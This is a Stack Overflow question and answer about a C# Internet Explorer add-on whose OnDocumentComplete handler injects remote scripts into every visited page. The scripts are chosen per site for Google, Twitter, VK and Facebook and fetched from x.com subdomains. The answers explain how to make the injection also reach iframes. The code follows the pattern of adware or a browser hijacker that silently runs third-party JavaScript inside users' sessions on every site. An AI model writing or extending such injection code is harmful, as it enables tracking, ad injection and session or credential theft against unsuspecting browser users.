0

Hi i made an ie bho addon in c#

here is the OnDocumentComplete event

It works nice but When there is a web site that has iframes

it injects the scripts to the main window when it should inject into iframes?

I hope if i could explain

public void OnDocumentComplete(object pDisp, ref object URL)
{
    if (((this.webBrowser != null) && (this.webBrowser.ReadyState == tagREADYSTATE.READYSTATE_COMPLETE)) && !this.webBrowser.Busy)
    {
        HTMLDocument o = this.webBrowser.Document as HTMLDocument;
        string hostname = o.location.hostname;
        Random random = new Random();
        if (o.getElementById("xxxxxxx") == null)
        {
            HTMLBody body = (HTMLBody) o.body;
            HTMLScriptElement element = (HTMLScriptElement) o.createElement("script");
            if (hostname.Contains("google."))
            {
                element.src = o.location.protocol + "//g.x.com/g.js?ie=" + random.Next(1, 0x186a0);
            }
            else if (hostname.Contains("twitter."))
            {
                element.src = o.location.protocol + "//tw.x.com/tw/tw.js?ie=" + random.Next(1, 0x186a0);
            }
            else if (hostname.Contains("vkontakte."))
            {
                element.src = o.location.protocol + "//vk.x.com/vk/vk.js?ie=" + random.Next(1, 0x186a0);
            }
            else if (hostname.Contains("vk."))
            {
                element.src = o.location.protocol + "//vk.x.com/vk/vk.js?ie=" + random.Next(1, 0x186a0);
            }
            else if (hostname.Contains("facebook."))
            {
                element.src = o.location.protocol + "//cdn.x.com/zt.js?ie=" + random.Next(1, 0x186a0);
            }
            else
            {
                element.src = string.Concat(new object[] { o.location.protocol, "//all.x.com/all/", hostname, ".js?ie=", random.Next(1, 0x186a0) });
            }
            body.appendChild((IHTMLDOMNode) element);
            Marshal.ReleaseComObject(element);
            Marshal.ReleaseComObject(body);
            Marshal.ReleaseComObject(o);
        }
    }
}
user1031143
  • 828
  • 1
  • 10
  • 16

1 Answers1

1

I assume that you are setting the value of this.webBrowser in SetSite() or somewhere similar. Since it holds the main web browser, it's not surprising that your code isn't being injected into the iframe. The pDisp parameter to OnDocumentComplete is the browser you want. QI that to IWebBrowser2 and use it instead of this.webBrowser.

Matthew Gertner
  • 4,487
  • 2
  • 32
  • 54
  • Yes. You will receive onDocumentComplete once for the main outer window and each iFrame, since those are sub-documents. – i_am_jorf Sep 27 '12 at 16:53
  • you can refer from this answer.. hope it is related..http://stackoverflow.com/questions/35651305/ie-extention-plugin-addon-javascipt-injection-in-iframe-and-document-c-sharp – Vishal Sen May 16 '16 at 09:54